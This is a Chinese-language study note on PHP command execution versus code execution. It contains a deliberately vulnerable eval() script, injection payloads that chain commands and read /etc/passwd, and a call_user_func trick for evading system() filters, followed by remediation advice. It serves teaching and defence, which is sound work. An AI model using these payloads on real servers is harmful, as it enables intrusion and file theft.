命令执行和代码执行我一开始老混,这篇把它们掰清楚:拼接符怎么用、黑名单过滤怎么绕、disable_functions 是个什么防线。
核心知识点
1. RCE 两大概念(重点区分)
| 类别 | 执行对象 | 示例函数 | 执行上下文 |
|---|---|---|---|
| 命令执行 | 操作系统命令 | system()、exec()、shell_exec()、passthru() | 操作系统层面 |
| 代码执行 | 编程语言代码 | eval()、assert()、create_function()、preg_replace /e | 语言解释器层面 |
- 区别:命令执行针对系统命令(如
rm -rf),代码执行针对语言代码片段(如执行一段 PHP/Python)。同一个,后端用 system 执行就是系统命令执行,用 eval 则只能执行 PHP 代码。
2. 命令执行函数与拼接符号
- 命令执行函数:
system、exec、shell_exec、passthru。应用函数接收用户可控参数且未过滤即构成漏洞。 - 命令拼接符号(Linux/Windows):
;顺序执行:ping 1.1.1.1 ; ip a&&前一成功才执行后一:ping -c 3 1.1.1.1 && ip a|管道:把前面输出作为后面||前一失败才执行后一&后台执行- 反引号
`和$()等价,把当作命令执行:`ipconfig`与$(ipconfig)效果相同
- 跨平台注意:
ipconfig是 Windows 命令,Linux 用ip addr或ifconfig。
3. eval 与代码执行
eval():把字符串当作 PHP 代码执行,是最代码执行函数。生产环境通常禁用。assert():在旧版本中可执行代码字符串。create_function():创建匿名函数,可执行代码。preg_replace:当正则模式含/e修饰符时,第二个参数被当作 PHP 代码直接执行(新版 PHP 已弃用该功能)。
4. eval 完整执行流程(从 URL 到系统命令)
请求:
http://192.168.50.1/test.php?code=call_user_func('system',$_GET['cmd']);&cmd=whoami
后端:
<?php
if (isset($_GET['code'])) {
echo eval($_GET['code']);
}
?>
执行链:
1. 浏览器发送 code、cmd 两个参数
2. PHP 参数解析:$_GET['code'] 保存代码字符串,$_GET['cmd'] 保存 'whoami'
3. isset() 判断通过, if
4. eval() 把字符串 call_user_func('system', $_GET['cmd']); 当作 PHP 代码执行
5. $_GET['cmd'] 在 eval 上下文中读出 'whoami'
6. call_user_func() 把 'system' 当函数名、'whoami' 当参数
7. 等价 system('whoami'),调用操作系统命令
8. 操作系统返回 Web/PHP 进程的运行账户(www-data/apache/nginx)
9. system() 直接把输出 HTTP 响应
为什么外层 echo 通常没有额外输出:system() 直接输出结果;call_user_func 把返回值继续返回;eval 无 return 时返回 null;echo null 无可见输出。
最终等价:eval(code 字符串) → call_user_func('system','whoami') → system('whoami') → 操作系统执行 whoami。
5. 回调函数 call_user_func(绕过 system 过滤)
- 回调函数:一个函数作为参数传给另一个函数,由在特定时机调用。
call_user_func('system', 'ls'):第一个参数是函数名system,第二个参数ls作为参数。等价于system('ls')。- 绕过思路:当直接调用
system()被过滤/禁用时,通过回调函数间接调用被禁用的功能:
call_user_func('system', $_GET['cmd']);
- 注意:回调函数本身不执行系统命令,它只是动态调用了 system,真正执行命令的是 system()。
eval、call_user_func都是代码执行函数,只要后端接收用户传参即可被利用。
6. 为什么这是高危漏洞
- 用户直接影响程序控制逻辑。
- 可读取服务器文件、环境变量、数据库。
- 可执行 Web 服务账户权限系统命令。
- 若服务账户权限过高,影响范围明显扩大。
7. 修复思路
- 删除 eval(),不动态执行用户提交的代码。
- system()、exec()、shell_exec()、passthru() 接收用户可控。
- 用白名单映射选择固定操作,不让用户提供函数名或代码:
$actions = [
'show_user' => function () { return '固定业务逻辑'; },
];
$action = $_GET['action'] ?? '';
if (isset($actions[$action])) {
echo $actions[$action]();
} else {
http_response_code(400);
echo '非法操作';
}
- Web 服务以低权限账户运行,容器、SELinux/AppArmor 限制影响范围。
实操步骤
# 命令执行测试
?cmd=whoami
?cmd=id
?cmd=ping -c 3 127.0.0.1 ; whoami
?cmd=cat /etc/passwd
?cmd=`whoami`
# 代码执行
?code=phpinfo();
?code=system('whoami');
# 回调函数绕过(system 被过滤时)
?code=call_user_func('system',$_GET['cmd']);&cmd=whoami
# preg_replace /e(旧版本)
?code=preg_replace('/.*/e', $_GET['cmd'], 'x');
常见错误与排查
- 区分不了命令执行与代码执行 → 记住执行对象:系统命令 vs 语言代码。
- eval 不执行 → 检查代码末尾分号、引号是否成对;
code参数不能带<?php ?>标签(eval 接收代码片段)。 - system 被过滤 → 用回调函数
call_user_func或preg_replace。 - 命令拼接失败 → 注意
&&与&区别、URL 中&会被解析为参数分隔符需编码。 - 输出为空 → 用
echo确认;检查是否被 WAF/过滤拦截。